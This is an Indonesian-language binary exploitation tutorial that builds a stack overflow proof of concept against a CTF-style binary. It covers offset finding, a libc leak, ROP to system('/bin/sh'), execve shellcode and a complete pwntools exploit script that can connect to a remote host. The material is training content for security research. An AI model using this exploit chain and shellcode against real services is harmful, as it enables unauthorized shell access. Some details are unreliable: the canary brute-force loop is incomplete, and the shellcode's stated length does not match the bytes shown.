Kamu sudah baca CVE advisory, lihat CVE-ID, dan mungkin pernah pakai exploit orang lain. Tapi pernah nggak bikin Proof-of-Concept (PoC) exploit dari nol? Mulai dari crash dump sampai shellcode execution?
Banyak peneliti keamanan terjebak di fase “pakai exploit orang lain”. Padahal bikin PoC dari nol itu skill yang bedain script kiddie sama researcher sejati. Artikel ini walkthrough lengkap: dari crash analysis sampai shellcode execution.

Fase 1: Crash Analysis — Temukan Bug-nya Dulu
Semua exploit dimulai dari crash. Tapi crashnya harus reproducible dan controllable.
Tools Setup
# Minimal toolkit untuk binary exploitation
sudo apt install gdb gdb-multiarch gdbserver \
python3-pwntools radare2 ghidra \
gcc-multilib libc6-dbg qemu-user
Tool wajib: gdb dengan gef atau pwndbg. Install pwndbg:
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
Trigger Crash Pertama
# Target: vulnerable binary (contoh: vulnerable binary dari CTF)
# Trigger crash dengan input panjang
python3 -c "print('A' * 500)" | ./vuln_binary
# Di GDB
gdb ./vuln_binary
(gdb) run < <(python3 -c "print('A' * 500)")
# Crash! Lihat register state
(gdb) info registers
(gdb) bt # backtrace
Catat: register mana yang ter-overwrite (RIP/EIP, RBP, RSP), offset ke buffer, dan apakah NX/ASLR/PIE/Stack Canary aktif.
(gdb) info proc mappings
# Cek ASLR, PIE, NX, Stack Canary status
(gdb) checksec
Fase 2: Offset Calculation — Temukan Offset EIP/RIP
Pattern creation dengan pwntools atau msf-pattern_create:
# Generate pattern 500 bytes
python3 -c "from pwn import *; print(cyclic(500))" > pattern.txt
# Atau msf-pattern_create
msf-pattern_create -l 500 > pattern.txt
# Run dengan pattern
gdb ./vuln_binary
(gdb) run < pattern.txt
# Crash! Lihat RIP/EIP value
(gdb) info registers rip
# Misal: 0x6161616161616166
# Cari offset
python3 -c "from pwn import *; print(cyclic_find(0x6161616161616166))"
# Output: offset ke RIP
Tip pro: Gunakan cyclic_find dengan nilai register yang ter-overwrite. Offset ini jadi fondasi payload construction.
Fase 3: Leak & Bypass Mitigations
Modern binary punya mitigations: ASLR, PIE, NX, Stack Canary, RELRO. Harus bypass satu-satu.
Bypass ASLR/PIE — Leak Address
Butuh leak address dari memory (libc base, binary base, stack, heap). Teknik umum:
- Format String Vulnerability — leak stack/heap/libc address via %p
- Info Leak via Read Primitive — read arbitrary memory
- Partial Overwrite — overwrite LSB address (12-bit ASLR bypass)
- Return-to-PLT/GOT — leak libc address via GOT entry
# Contoh: Leak libc via puts@GOT
from pwn import *
elf = ELF('./vuln_binary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ROP chain: pop rdi; ret -> puts@got -> puts@plt -> main
pop_rdi = 0x0000000000401234 # cari dengan ropper/ROPgadget
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr) # return ke main untuk second stage
# Send payload, terima leak
io = process('./vuln_binary')
io.sendline(payload)
leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leaked_puts - libc.symbols['puts']
log.info(f"libc base: {hex(libc_base)}")
Bypass Stack Canary
Canary di-stack harus di-leak dulu (format string, info leak, atau brute-force byte-per-byte pada 32-bit/partial overwrite).
# Brute-force canary byte-by-byte (hanya 32-bit/partial overwrite)
canary = b''
for i in range(8): # 64-bit = 8 bytes
for c in range(256):
payload = b'A' * offset + canary + bytes([c])
# Test apakah crash (canary wrong) atau tidak
# Kalau tidak crash = byte benar
Fase 4: ROP Chain Construction
NX enabled = tidak bisa execute shellcode di stack/heap. Solusi: ROP (Return-Oriented Programming).
# Cari gadgets dengan ROPgadget atau ropper
ROPgadget --binary ./vuln_binary --only "pop|ret" | grep -E "pop rdi|pop rsi|pop rdx|syscall"
# Atau pwntools ROP
from pwn import *
rop = ROP('./vuln_binary')
rop.call('system', [next(libc.search(b'/bin/sh'))])
# Atau manual chain:
# pop rdi; ret -> /bin/sh address
# system@libc
print(rop.dump())
print(rop.chain())
Gadget kunci untuk x86_64: pop rdi; ret, pop rsi; ret, pop rdx; ret, syscall; ret.
Fase 5: Shellcode Execution (Jika NX Disabled/Partial)
Kalo NX disabled (atau RWX memory region), bisa inject shellcode langsung.
# Shellcode x86_64 execve(/bin/sh)
# 27 bytes - classic
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
# Atau generate dengan pwntools
shellcode = asm(shellcraft.amd64.linux.sh())
# Payload: NOP sled + shellcode + padding + return address (stack address)
nop_sled = b'\x90' * 100
payload = nop_sled + shellcode + b'A' * (offset - len(nop_sled) - len(shellcode)) + p64(stack_address)
Catatan: Modern binary biasanya NX enabled. Shellcode execution jarang work tanpa ROP/mprotect/mmap ROP chain dulu.
Fase 6: Full Exploit Chain — Put It All Together
Gabungkan semua fase jadi single exploit script:
#!/usr/bin/env python3
# Exploit PoC untuk vulnerable binary
# Author: Security Researcher
# Tested on: Ubuntu 22.04, kernel 5.15
from pwn import *
import sys
context.binary = './vuln_binary'
context.log_level = 'debug'
# ===== CONFIG =====
OFFSET_TO_RIP = 136 # dari cyclic_find
BINARY_PATH = './vuln_binary'
LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(BINARY_PATH)
libc = ELF(LIBC_PATH)
# ===== GADGETS =====
pop_rdi = 0x0000000000401234 # pop rdi; ret
pop_rsi = 0x0000000000401236 # pop rsi; ret
pop_rdx = 0x0000000000401238 # pop rdx; ret
# ===== EXPLOIT FUNCTIONS =====
def leak_libc_base(io):
"""Stage 1: Leak libc address via puts@GOT"""
payload = b'A' * OFFSET_TO_RIP
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main']) # return to main
io.sendline(payload)
io.recvline() # junk
leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leaked_puts - libc.symbols['puts']
log.success(f"libc base: {hex(libc_base)}")
return libc_base
def get_shell(io, libc_base):
"""Stage 2: ROP to system('/bin/sh')"""
libc.address = libc_base
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
payload = b'A' * OFFSET_TO_RIP
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
io.sendline(payload)
io.interactive()
# ===== MAIN =====
def main():
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
io = remote('target.host', 1337)
else:
io = process(BINARY_PATH)
# gdb.attach(io, gdbscript='b *main+100')
libc_base = leak_libc_base(io)
get_shell(io, libc_base)
if __name__ == '__main__':
main()
Fase 7: Testing & Reliability
Exploit yang work sekali bukan exploit yang bagus. Harus reliable.
- Test multiple runs: Jalankan exploit 50x, harus success rate >90%
- ASLR variations: Test dengan ASLR on/off, PIE on/off
- Different libc versions: Test di libc-2.31, 2.35, 2.38
- Edge cases: Input length limits, bad characters (\x00, \x0a, \x0d), stack alignment
# Reliability testing script
for i in range(50):
io = process('./vuln_binary')
# run exploit
success = exploit(io)
io.close()
if not success:
print(f"FAIL at iteration {i}")
break
else:
print("100% success rate!")
Checklist Exploit Production-Ready
- [ ] Crash reproducible 100%
- [ ] Offset calculated correctly (cyclic pattern verified)
- [ ] All mitigations identified (checksec)
- [ ] Info leak works reliably
- [ ] ROP chain tested with ROPgadget/ropper
- [ ] Bad characters handled
- [ ] Stack alignment (16-byte untuk x86_64 syscall)
- [ ] Tested against multiple libc versions
- [ ] Works local & remote
- [ ] Clean exit (no crash after shell)
- [ ] Documented dengan comments & PoC screenshot
Tools Cheat Sheet
| Kategori | Tools |
|---|---|
| Debugger | GDB + pwndbg/gef, radare2, x64dbg (Windows) |
| Binary Analysis | Ghidra, IDA Pro, Binary Ninja, radare2 |
| ROP Gadgets | ROPgadget, ropper, pwntools ROP |
| Pattern/Offset | pwntools cyclic, msf-pattern_create/offset |
| Shellcode | pwntools shellcraft, msfvenom, shell-storm.org |
| Libc Database | libc.blukat.me, libc.rip |
| Exploit Framework | pwntools, Metasploit Framework |
Ponytail: Simplifikasi Sengaja
ponytail: Artikel ini skip heap exploitation (house of force, tcache poisoning, unsorted bin attack), format string exploitation detail, dan kernel exploitation. Upgrade path: pelajari Heap Exploitation via How2Heap repo, lanjut Kernel PWN via Linux Kernel Exploitation training.
Next Step: Latih di Platform Nyata
- pwn.college — pendidikan binary exploitation terstruktur
- Hack The Box — machine retirement dengan binary exploitation
- CTFtime.org — cari CTF kategori pwn/binary
- Exploit-DB — baca PoC orang lain, coba reproduce & improve
Bikin PoC dari nol itu frustrating. Crash, segfault, offset salah, gadget nggak ketemu. Tapi saat shell terbuka first time — rasanya beda. Itu beda script kiddie sama researcher.
Mau lanjut ke heap exploitation atau kernel exploitation? Komentar di bawah.



